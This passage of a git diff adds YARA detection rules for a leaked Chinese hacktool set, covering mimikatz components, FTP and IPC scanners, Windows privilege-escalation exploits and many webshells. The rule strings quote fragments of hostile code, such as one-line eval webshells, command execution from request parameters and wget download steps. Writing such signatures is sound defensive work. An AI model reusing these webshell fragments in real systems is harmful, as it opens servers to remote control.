+		$s1 = "LOADER ERROR" fullword ascii
+		$s2 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
+		$s3 = "The ordinal %u could not be located in the dynamic link library %s" fullword ascii
+		$s4 = "kernel32.dll" fullword ascii
+		$s5 = "VirtualAlloc" fullword ascii
+		$s6 = "VirtualFree" fullword ascii
+		$s7 = "VirtualProtect" fullword ascii
+		$s8 = "ExitProcess" fullword ascii
+		$s9 = "user32.dll" fullword ascii
+		$s16 = "MessageBoxA" fullword ascii
+		$s10 = "wsprintfA" fullword ascii
+		$s11 = "kernel32.dll" fullword ascii
+		$s12 = "GetProcAddress" fullword ascii
+		$s13 = "GetModuleHandleA" fullword ascii
+		$s14 = "LoadLibraryA" fullword ascii
+		$s15 = "odbc32.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 23KB and filesize > 20KB and all of them
+}
+
+rule Win32_klock {
+	meta:
+		description = "Chinese Hacktool Set - file klock.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "7addce4434670927c4efaa560524680ba2871d17"
+	strings:
+		$s1 = "klock.dll" fullword ascii
+		$s2 = "Erreur : impossible de basculer le bureau ; SwitchDesktop : " fullword wide
+		$s3 = "klock de mimikatz pour Windows" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and all of them
+}
+
+rule ipsearcher {
+	meta:
+		description = "Chinese Hacktool Set - file ipsearcher.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "1e96e9c5c56fcbea94d26ce0b3f1548b224a4791"
+	strings:
+		$s0 = "http://www.wzpg.com" fullword ascii
+		$s1 = "ipsearcher\\ipsearcher\\Release\\ipsearcher.pdb" fullword ascii
+		$s3 = "_GetAddress" fullword ascii
+		$s5 = "ipsearcher.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 140KB and all of them
+}
+
+rule ms10048_x64 {
+	meta:
+		description = "Chinese Hacktool Set - file ms10048-x64.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "418bec3493c85e3490e400ecaff5a7760c17a0d0"
+	strings:
+		$s1 = "The target is most likely patched." fullword ascii
+		$s2 = "Dojibiron by Ronald Huizer, (c) master#h4cker.us  " fullword ascii
+		$s3 = "[ ] Creating evil window" fullword ascii
+		$s4 = "[+] Set to %d exploit half succeeded" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 40KB and 1 of them
+}
+
+rule hscangui {
+	meta:
+		description = "Chinese Hacktool Set - file hscangui.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "af8aced0a78e1181f4c307c78402481a589f8d07"
+	strings:
+		$s1 = "[%s]: Found \"FTP account: anyone/anyone@any.net\"  !!!" fullword ascii
+		$s2 = "http://www.cnhonker.com" fullword ascii
+		$s3 = "%s@ftpscan#Cracked account:  %s/%s" fullword ascii
+		$s4 = "[%s]: Found \"FTP account: %s/%s\" !!!" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 220KB and 2 of them
+}
+
+rule GoodToolset_ms11080 {
+	meta:
+		description = "Chinese Hacktool Set - file ms11080.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "f0854c49eddf807f3a7381d3b20f9af4a3024e9f"
+	strings:
+		$s1 = "[*] command add user 90sec 90sec" fullword ascii
+		$s2 = "\\ms11080\\Debug\\ms11080.pdb" fullword ascii
+		$s3 = "[>] by:Mer4en7y@90sec.org" fullword ascii
+		$s4 = "[*] Add to Administrators success" fullword ascii
+		$s5 = "[*] User has been successfully added" fullword ascii
+		$s6 = "[>] ms11-08 Exploit" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 240KB and 2 of them
+}
+
+rule epathobj_exp64 {
+	meta:
+		description = "Chinese Hacktool Set - file epathobj_exp64.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "09195ba4e25ccce35c188657957c0f2c6a61d083"
+	strings:
+		$s1 = "Watchdog thread %d waiting on Mutex" fullword ascii
+		$s2 = "Exploit ok run command" fullword ascii
+		$s3 = "\\epathobj_exp\\x64\\Release\\epathobj_exp.pdb" fullword ascii
+		$s4 = "Alllocated userspace PATHRECORD () %p" fullword ascii
+		$s5 = "Mutex object did not timeout, list not patched" fullword ascii
+		$s6 = "- inconsistent onexit begin-end variables" fullword wide  /* Goodware String - occured 96 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and 2 of them
+}
+
+rule kelloworld_2 {
+	meta:
+		description = "Chinese Hacktool Set - file kelloworld.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "55d5dabd96c44d16e41f70f0357cba1dda26c24f"
+	strings:
+		$s1 = "Hello World!" fullword wide
+		$s2 = "kelloworld.dll" fullword ascii
+		$s3 = "kelloworld de mimikatz pour Windows" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule HScan_v1_20_hscan {
+	meta:
+		description = "Chinese Hacktool Set - file hscan.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "568b06696ea0270ee1a744a5ac16418c8dacde1c"
+	strings:
+		$s1 = "[%s]: Found \"FTP account: anyone/anyone@any.net\"  !!!" fullword ascii
+		$s2 = "%s -h 192.168.0.1 192.168.0.254 -port -ftp -max 200,100" fullword ascii
+		$s3 = ".\\report\\%s-%s.html" fullword ascii
+		$s4 = ".\\log\\Hscan.log" fullword ascii
+		$s5 = "[%s]: Found cisco Enable password: %s !!!" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 2 of them
+}
+
+rule _Project1_Generate_rejoice {
+	meta:
+		description = "Chinese Hacktool Set - from files Project1.exe, Generate.exe, rejoice.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		super_rule = 1
+		hash0 = "d1a5e3b646a16a7fcccf03759bd0f96480111c96"
+		hash1 = "2cb4c3916271868c30c7b4598da697f59e9c7a12"
+		hash2 = "fe634a9f5d48d5c64c8f8bfd59ac7d8965d8f372"
+	strings:
+		$s1 = "sfUserAppDataRoaming" fullword ascii
+		$s2 = "$TRzFrameControllerPropertyConnection" fullword ascii
+		$s3 = "delphi32.exe" fullword ascii
+		$s4 = "hkeyCurrentUser" fullword ascii
+		$s5 = "%s is not a valid IP address." fullword wide
+		$s6 = "Citadel hooking error" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule _hscan_hscan_hscangui {
+	meta:
+		description = "Chinese Hacktool Set - from files hscan.exe, hscan.exe, hscangui.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		super_rule = 1
+		hash0 = "17a743e40790985ececf5c66eaad2a1f8c4cffe8"
+		hash1 = "568b06696ea0270ee1a744a5ac16418c8dacde1c"
+		hash2 = "af8aced0a78e1181f4c307c78402481a589f8d07"
+	strings:
+		$s1 = ".\\log\\Hscan.log" fullword ascii
+		$s2 = ".\\report\\%s-%s.html" fullword ascii
+		$s3 = "[%s]: checking \"FTP account: ftp/ftp@ftp.net\" ..." fullword ascii
+		$s4 = "[%s]: IPC NULL session connection success !!!" fullword ascii
+		$s5 = "Scan %d targets,use %4.1f minutes" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 240KB and all of them
+}
+
+rule kiwi_tools {
+	meta:
+		description = "Chinese Hacktool Set - from files kappfree.dll, kelloworld.dll, KiwiCmd.exe, KiwiRegedit.exe, KiwiTaskmgr.exe, klock.dll, mimikatz.exe, mimikatz.sys, sekurlsa.dll, kappfree.dll, kelloworld.dll, KiwiCmd.exe, KiwiRegedit.exe, KiwiTaskmgr.exe, klock.dll, mimikatz.exe, mimikatz.sys, sekurlsa.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		super_rule = 1
+		hash0 = "e57e79f190f8a24ca911e6c7e008743480c08553"
+		hash1 = "55d5dabd96c44d16e41f70f0357cba1dda26c24f"
+		hash2 = "7ac7541e20af7755b7d8141c5c1b7432465cabd8"
+		hash3 = "9fbfe3eb49d67347ab57ae743f7542864bc06de6"
+		hash4 = "5c90d648c414bdafb549291f95fe6f27c0c9b5ec"
+		hash5 = "7addce4434670927c4efaa560524680ba2871d17"
+		hash6 = "28c5c0bdb7786dc2771672a2c275be7d9b742ec7"
+		hash7 = "b5c93489a1b62181594d0fb08cc510d947353bc8"
+		hash8 = "6acecd18fc7da1c5eb0d04e848aae9ce59d2b1b5"
+		hash9 = "5d578df9a71670aa832d1cd63379e6162564fb6b"
+		hash10 = "febadc01a64a071816eac61a85418711debaf233"
+		hash11 = "569ca4ff1a5ea537aefac4a04a2c588c566c6d86"
+		hash12 = "56a61c808b311e2225849d195bbeb69733efe49a"
+		hash13 = "8bd6c9f2e8be3e74bd83c6a2d929f8a69422fb16"
+		hash14 = "44825e848bc3abdb6f31d0a49725bb6f498e9ccc"
+		hash15 = "f661d6516d081c37ab7da0f4ec21b2cc6a9257c6"
+		hash16 = "20facf1fa2d87cccf177403ca1a7852128a9a0ab"
+		hash17 = "6e0ffa472d63fdda5abc4c1b164ba8724dcb25b5"
+	strings:
+		$s1 = "http://blog.gentilkiwi.com/mimikatz" ascii
+		$s2 = "Benjamin Delpy" fullword ascii
+		$s3 = "GlobalSign" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule kiwi_tools_gentil_kiwi {
+	meta:
+		description = "Chinese Hacktool Set - from files kappfree.dll, kelloworld.dll, KiwiCmd.exe, KiwiRegedit.exe, KiwiTaskmgr.exe, klock.dll, mimikatz.exe, sekurlsa.dll, kappfree.dll, kelloworld.dll, KiwiCmd.exe, KiwiRegedit.exe, KiwiTaskmgr.exe, klock.dll, mimikatz.exe, sekurlsa.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		super_rule = 1
+		hash0 = "e57e79f190f8a24ca911e6c7e008743480c08553"
+		hash1 = "55d5dabd96c44d16e41f70f0357cba1dda26c24f"
+		hash2 = "7ac7541e20af7755b7d8141c5c1b7432465cabd8"
+		hash3 = "9fbfe3eb49d67347ab57ae743f7542864bc06de6"
+		hash4 = "5c90d648c414bdafb549291f95fe6f27c0c9b5ec"
+		hash5 = "7addce4434670927c4efaa560524680ba2871d17"
+		hash6 = "28c5c0bdb7786dc2771672a2c275be7d9b742ec7"
+		hash7 = "6acecd18fc7da1c5eb0d04e848aae9ce59d2b1b5"
+		hash8 = "5d578df9a71670aa832d1cd63379e6162564fb6b"
+		hash9 = "febadc01a64a071816eac61a85418711debaf233"
+		hash10 = "569ca4ff1a5ea537aefac4a04a2c588c566c6d86"
+		hash11 = "56a61c808b311e2225849d195bbeb69733efe49a"
+		hash12 = "8bd6c9f2e8be3e74bd83c6a2d929f8a69422fb16"
+		hash13 = "44825e848bc3abdb6f31d0a49725bb6f498e9ccc"
+		hash14 = "f661d6516d081c37ab7da0f4ec21b2cc6a9257c6"
+		hash15 = "6e0ffa472d63fdda5abc4c1b164ba8724dcb25b5"
+	strings:
+		$s1 = "mimikatz" fullword wide
+		$s2 = "Copyright (C) 2012 Gentil Kiwi" fullword wide
+		$s3 = "Gentil Kiwi" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_cn_webshells.yar b/yara-mikesxrs/Florian Roth/gen_cn_webshells.yar
new file mode 100644
index 0000000..eaff0a5
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_cn_webshells.yar	
@@ -0,0 +1,701 @@
+/*
+    Yara Rule Set
+    Author: Florian Roth
+    Date: 2015-06-13
+    Identifier: CN-Tools Webshells
+    Reference: Diclosed hacktool set at http://w2op.us/ (Mirror: http://tools.zjqhr.com)
+*/
+
+
+rule Tools_cmd {
+    meta:
+        description = "Chinese Hacktool Set - file cmd.jSp"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "02e37b95ef670336dc95331ec73dbb5a86f3ba2b"
+    strings:
+        $s0 = "if(\"1752393\".equals(request.getParameter(\"Confpwd\"))){" fullword ascii
+        $s1 = "java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"Conn\"" ascii
+        $s2 = "<%@ page import=\"java.io.*\" %>" fullword ascii
+        $s3 = "out.print(\"Hi,Man 2015<br /><!--?Confpwd=023&Conn=ls-->\");" fullword ascii
+        $s4 = "while((a=in.read(b))!=-1){" fullword ascii
+        $s5 = "out.println(new String(b));" fullword ascii
+        $s6 = "out.print(\"</pre>\");" fullword ascii
+        $s7 = "out.print(\"<pre>\");" fullword ascii
+        $s8 = "int a = -1;" fullword ascii
+        $s9 = "byte[] b = new byte[2048];" fullword ascii
+    condition:
+        filesize < 3KB and 7 of them
+}
+
+
+rule trigger_drop {
+    meta:
+        description = "Chinese Hacktool Set - file trigger_drop.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "165dd2d82bf87285c8a53ad1ede6d61a90837ba4"
+    strings:
+        $s0 = "$_GET['returnto'] = 'database_properties.php';" fullword ascii
+        $s1 = "echo('<meta http-equiv=\"refresh\" content=\"0;url=' . $_GET['returnto'] . '\">'" ascii
+        $s2 = "@mssql_query('DROP TRIGGER" ascii
+        $s3 = "if(empty($_GET['returnto']))" fullword ascii
+    condition:
+        filesize < 5KB and all of them
+}
+
+rule InjectionParameters {
+    meta:
+        description = "Chinese Hacktool Set - file InjectionParameters.vb"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "4f11aa5b3660c45e527606ee33de001f4994e1ea"
+    strings:
+        $s0 = "Public Shared ReadOnly Empty As New InjectionParameters(-1, \"\")" fullword ascii
+        $s1 = "Public Class InjectionParameters" fullword ascii
+    condition:
+        filesize < 13KB and all of them
+}
+
+rule users_list {
+    meta:
+        description = "Chinese Hacktool Set - file users_list.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "6fba1a1a607198ed232405ccbebf9543037a63ef"
+    strings:
+        $s0 = "<a href=\"users_create.php\">Create User</a>" fullword ascii
+        $s7 = "$skiplist = array('##MS_AgentSigningCertificate##','NT AUTHORITY\\NETWORK SERVIC" ascii
+        $s11 = "&nbsp;<b>Default DB</b>&nbsp;" fullword ascii
+    condition:
+        filesize < 12KB and all of them
+}
+
+rule function_drop {
+    meta:
+        description = "Chinese Hacktool Set - file function_drop.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "209098c494ce10d82d1c2002488509c5e8983182"
+    strings:
+        $s0 = "@mssql_query('DROP FUNCTION ' . urldecode($_GET['function']) . ';') or" ascii
+        $s1 = "$_GET['returnto'] = 'database_properties.php';" fullword ascii
+        $s2 = "echo('<meta http-equiv=\"refresh\" content=\"0;url=' . $_GET['returnto'] . '\">'" ascii
+        $s3 = "if(empty($_GET['returnto']))" fullword ascii
+    condition:
+        filesize < 5KB and all of them
+}
+
+rule table_export_download {
+    meta:
+        description = "Chinese Hacktool Set - file table_export_download.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "2758e553d1059bdbc4e3993dd6f46218fc26103d"
+    strings:
+        $s0 = "header('Content-Disposition: attachment; filename=\"' . $_SESSION['database'] . " ascii
+        $s1 = "header('Content-Length: ' . strlen($_POST['data']));" fullword ascii
+        $s2 = "header('Content-type: application/x-download');" fullword ascii
+        $s3 = "echo $_POST['data'];" fullword ascii
+    condition:
+        filesize < 5KB and all of them
+}
+
+rule trigger_modify {
+    meta:
+        description = "Chinese Hacktool Set - file trigger_modify.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "c93cd7a6c3f962381e9bf2b511db9b1639a22de0"
+    strings:
+        $s1 = "<form name=\"form1\" method=\"post\" action=\"trigger_modify.php?trigger=<?php e" ascii
+        $s2 = "$data_query = @mssql_query('sp_helptext \\'' . urldecode($_GET['trigger']) . '" ascii
+        $s3 = "if($_POST['query'] != '')" fullword ascii
+        $s4 = "$lines[] = 'I am unable to read this trigger.';" fullword ascii
+        $s5 = "<b>Modify Trigger</b>" fullword ascii
+    condition:
+        filesize < 15KB and all of them
+}
+
+rule Customize {
+    meta:
+        description = "Chinese Hacktool Set - file Customize.aspx"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "db556879dff9a0101a7a26260a5d0dc471242af2"
+    strings:
+        $s1 = "ds.Clear();ds.Dispose();}else{SqlCommand cm = Conn.CreateCommand();cm.CommandTex" ascii
+        $s2 = "c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=tr" ascii
+        $s3 = "Stream WF=WB.GetResponseStream();FileStream FS=new FileStream(Z2,FileMode.Create" ascii
+        $s4 = "R=\"Result\\t|\\t\\r\\nExecute Successfully!\\t|\\t\\r\\n\";}Conn.Close();break;" ascii
+    condition:
+        filesize < 24KB and all of them
+}
+
+rule database_export {
+    meta:
+        description = "Chinese Hacktool Set - file database_export.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "edcf8ef761e7e09a6a4929ccbc2aa04c7011ae53"
+    strings:
+        $s0 = "header('Content-Length: ' . strlen($masterquery));" fullword ascii
+        $s3 = "echo '<form name=\"form1\" method=\"post\" action=\"database_export_download.php" ascii
+        $s7 = "if(substr_count($_POST['tables'][$counter],'.') > 0)" fullword ascii
+        $s19 = "<input type=\"hidden\" name=\"doexport\" value=\"yes\">" fullword ascii
+    condition:
+        filesize < 100KB and all of them
+}
+
+rule mobile_index {
+    meta:
+        description = "Chinese Hacktool Set - file index.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "353239a2116385aa2036a9748b8d2e9b7454bede"
+    strings:
+        $s0 = "$c = @mssql_connect($_POST['datasource'],$_POST['username'],$_POST['password']) " ascii
+        $s1 = "<form name=\"form1\" method=\"post\" action=\"index.php\">" fullword ascii
+        $s2 = "$_SESSION['datasource_password'] = $_POST['password'];" fullword ascii
+        $s3 = "<b>Username:</b>" fullword ascii
+    condition:
+        filesize < 21KB and all of them
+}
+
+rule oracle_data {
+    meta:
+        description = "Chinese Hacktool Set - file oracle_data.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "6cf070017be117eace4752650ba6cf96d67d2106"
+    strings:
+        $s0 = "$txt=fopen(\"oracle_info.txt\",\"w\");" fullword ascii
+        $s1 = "if(isset($_REQUEST['id']))" fullword ascii
+        $s2 = "$id=$_REQUEST['id'];" fullword ascii
+    condition:
+        all of them
+}
+
+rule reDuhServers_reDuh {
+    meta:
+        description = "Chinese Hacktool Set - file reDuh.jsp"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "377886490a86290de53d696864e41d6a547223b0"
+    strings:
+        $s1 = "out.println(\"[Error]Unable to connect to reDuh.jsp main process on port \" +ser" ascii
+        $s4 = "System.out.println(\"IPC service failed to bind to \" + servicePort);" fullword ascii $s17 = "System.out.println(\"Bound on \" + servicePort);" fullword ascii
+        $s5 = "outputFromSockets.add(\"[data]\"+target+\":\"+port+\":\"+sockNum+\":\"+new Strin" ascii
+    condition:
+        filesize < 116KB and all of them
+}
+
+rule item_old {
+    meta:
+        description = "Chinese Hacktool Set - file item-old.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "daae358bde97e534bc7f2b0134775b47ef57e1da"
+    strings:
+        $s1 = "$sCmd = \"wget -qc \".escapeshellarg($sURL).\" -O \".$sFile;" fullword ascii
+        $s2 = "$sCmd = \"convert \".$sFile.\" -flip -quality 80 \".$sFileOut;" fullword ascii
+        $s3 = "$sHash = md5($sURL);" fullword ascii
+    condition:
+        filesize < 7KB and 2 of them
+}
+
+rule Tools_2014 {
+    meta:
+        description = "Chinese Hacktool Set - file 2014.jsp"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "74518faf08637c53095697071db09d34dbe8d676"
+    strings:
+        $s0 = "((Invoker) ins.get(\"login\")).invoke(request, response," fullword ascii
+        $s4 = "program = \"cmd.exe /c net start > \" + SHELL_DIR" fullword ascii
+        $s5 = ": \"c:\\\\windows\\\\system32\\\\cmd.exe\")" fullword ascii
+    condition:
+        filesize < 715KB and all of them
+}
+
+rule reDuhServers_reDuh_2 {
+    meta:
+        description = "Chinese Hacktool Set - file reDuh.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "512d0a3e7bb7056338ad0167f485a8a6fa1532a3"
+    strings:
+        $s1 = "errorlog(\"FRONTEND: send_command '\".$data.\"' on port \".$port.\" returned \"." ascii
+        $s2 = "$msg = \"newData:\".$socketNumber.\":\".$targetHost.\":\".$targetPort.\":\".$seq" ascii
+        $s3 = "errorlog(\"BACKEND: *** Socket key is \".$sockkey);" fullword ascii
+    condition:
+        filesize < 57KB and all of them
+}
+
+rule Customize_2 {
+    meta:
+        description = "Chinese Hacktool Set - file Customize.jsp"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "37cd17543e14109d3785093e150652032a85d734"
+    strings:
+        $s1 = "while((l=br.readLine())!=null){sb.append(l+\"\\r\\n\");}}" fullword ascii
+        $s2 = "String Z=EC(request.getParameter(Pwd)+\"\",cs);String z1=EC(request.getParameter" ascii
+    condition:
+        filesize < 30KB and all of them
+}
+
+rule ChinaChopper_one {
+    meta:
+        description = "Chinese Hacktool Set - file one.asp"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "6cd28163be831a58223820e7abe43d5eacb14109"
+    strings:
+        $s0 = "<%eval request(" fullword ascii
+    condition:
+        filesize < 50 and all of them
+}
+
+rule CN_Tools_old {
+    meta:
+        description = "Chinese Hacktool Set - file old.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "f8a007758fda8aa1c0af3c43f3d7e3186a9ff307"
+    strings:
+        $s0 = "$sCmd = \"wget -qc \".escapeshellarg($sURL).\" -O \".$sFile;" fullword ascii
+        $s1 = "$sURL = \"http://\".$sServer.\"/\".$sFile;" fullword ascii
+        $s2 = "chmod(\"/\".substr($sHash, 0, 2), 0777);" fullword ascii
+        $s3 = "$sCmd = \"echo 123> \".$sFileOut;" fullword ascii
+    condition:
+        filesize < 6KB and all of them
+}
+
+rule item_301 {
+    meta:
+        description = "Chinese Hacktool Set - file item-301.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "15636f0e7dc062437608c1f22b1d39fa15ab2136"
+    strings:
+        $s1 = "$sURL = \"301:http://\".$sServer.\"/index.asp\";" fullword ascii
+        $s2 = "(gov)\\\\.(cn)$/i\", $aURL[\"host\"])" ascii
+        $s3 = "$aArg = explode(\" \", $sContent, 5);" fullword ascii
+        $s4 = "$sURL = $aArg[0];" fullword ascii
+    condition:
+        filesize < 3KB and 3 of them
+}
+
+rule CN_Tools_item {
+    meta:
+        description = "Chinese Hacktool Set - file item.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "a584db17ad93f88e56fd14090fae388558be08e4"
+    strings:
+        $s1 = "$sURL = \"http://\".$sServer.\"/\".$sWget;" fullword ascii
+        $s2 = "$sURL = \"301:http://\".$sServer.\"/\".$sWget;" fullword ascii
+        $s3 = "$sWget=\"index.asp\";" fullword ascii
+        $s4 = "$aURL += array(\"scheme\" => \"\", \"host\" => \"\", \"path\" => \"\");" fullword ascii
+    condition:
+        filesize < 4KB and all of them
+}
+
+rule f3_diy {
+    meta:
+        description = "Chinese Hacktool Set - file diy.asp"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "f39c2f64abe5e86d8d36dbb7b1921c7eab63bec9"
+    strings:
+        $s0 = "<%@LANGUAGE=\"VBScript.Encode\" CODEPAGE=\"936\"%>" fullword ascii
+        $s5 = ".black {" fullword ascii
+    condition:
+        uint16(0) == 0x253c and filesize < 10KB and all of them
+}
+
+rule ChinaChopper_temp {
+    meta:
+        description = "Chinese Hacktool Set - file temp.asp"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "b0561ea52331c794977d69704345717b4eb0a2a7"
+    strings:
+        $s0 = "o.run \"ff\",Server,Response,Request,Application,Session,Error" fullword ascii
+        $s1 = "Set o = Server.CreateObject(\"ScriptControl\")" fullword ascii
+        $s2 = "o.language = \"vbscript\"" fullword ascii
+        $s3 = "o.addcode(Request(\"SC\"))" fullword ascii
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule Tools_2015 {
+    meta:
+        description = "Chinese Hacktool Set - file 2015.jsp"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "8fc67359567b78cadf5d5c91a623de1c1d2ab689"
+    strings:
+        $s0 = "Configbis = new BufferedInputStream(httpUrl.getInputStream());" fullword ascii
+        $s4 = "System.out.println(Oute.toString());" fullword ascii
+        $s5 = "String ConfigFile = Outpath + \"/\" + request.getParameter(\"ConFile\");" fullword ascii
+        $s8 = "HttpURLConnection httpUrl = null;" fullword ascii
+        $s19 = "Configbos = new BufferedOutputStream(new FileOutputStream(Outf));;" fullword ascii
+    condition:
+        filesize < 7KB and all of them
+}
+
+rule ChinaChopper_temp_2 {
+    meta:
+        description = "Chinese Hacktool Set - file temp.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "604a4c07161ce1cd54aed5566e5720161b59deee"
+    strings:
+        $s0 = "@eval($_POST[strtoupper(md5(gmdate(" ascii
+    condition:
+        filesize < 150 and all of them
+}
+
+rule templatr {
+    meta:
+        description = "Chinese Hacktool Set - file templatr.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "759df470103d36a12c7d8cf4883b0c58fe98156b"
+    strings:
+        $s0 = "eval(gzinflate(base64_decode('" ascii
+    condition:
+        filesize < 70KB and all of them
+}
+
+rule reDuhServers_reDuh_3 {
+    meta:
+        description = "Chinese Hacktool Set - file reDuh.aspx"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "0744f64c24bf4c0bef54651f7c88a63e452b3b2d"
+    strings:
+        $s1 = "Response.Write(\"[Error]Unable to connect to reDuh.jsp main process on port \" +" ascii
+        $s2 = "host = System.Net.Dns.Resolve(\"127.0.0.1\");" fullword ascii
+        $s3 = "rw.WriteLine(\"[newData]\" + targetHost + \":\" + targetPort + \":\" + socketNum" ascii
+        $s4 = "Response.Write(\"Error: Bad port or host or socketnumber for creating new socket" ascii
+    condition:
+        filesize < 40KB and all of them
+}
+
+rule ChinaChopper_temp_3 {
+    meta:
+        description = "Chinese Hacktool Set - file temp.aspx"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "c5ecb8bc1d7f0e716b06107b5bd275008acaf7b7"
+    strings:
+        $s0 = "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"" ascii
+        $s1 = "\"],\"unsafe\");%>" ascii
+    condition:
+        uint16(0) == 0x253c and filesize < 150 and all of them
+}
+
+rule Shell_Asp {
+    meta:
+        description = "Chinese Hacktool Set Webshells - file Asp.html"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "5e0bc914ac287aa1418f6554ddbe0ce25f2b5f20"
+    strings:
+        $s1 = "Session.Contents.Remove(m & \"userPassword\")" fullword ascii
+        $s2 = "passWord = Encode(GetPost(\"password\"))" fullword ascii
+        $s3 = "function Command(cmd, str){" fullword ascii
+    condition:
+        filesize < 100KB and all of them
+}
+
+
+rule Txt_aspxtag {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file aspxtag.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "42cb272c02dbd49856816d903833d423d3759948"
+    strings:
+        $s1 = "String wGetUrl=Request.QueryString[" fullword ascii
+        $s2 = "sw.Write(wget);" fullword ascii
+        $s3 = "Response.Write(\"Hi,Man 2015\"); " fullword ascii
+    condition:
+        filesize < 2KB and all of them
+}
+
+rule Txt_php {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file php.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "eaa1af4b898f44fc954b485d33ce1d92790858d0"
+    strings:
+        $s1 = "$Config=$_SERVER['QUERY_STRING'];" fullword ascii
+        $s2 = "gzuncompress($_SESSION['api']),null);" ascii
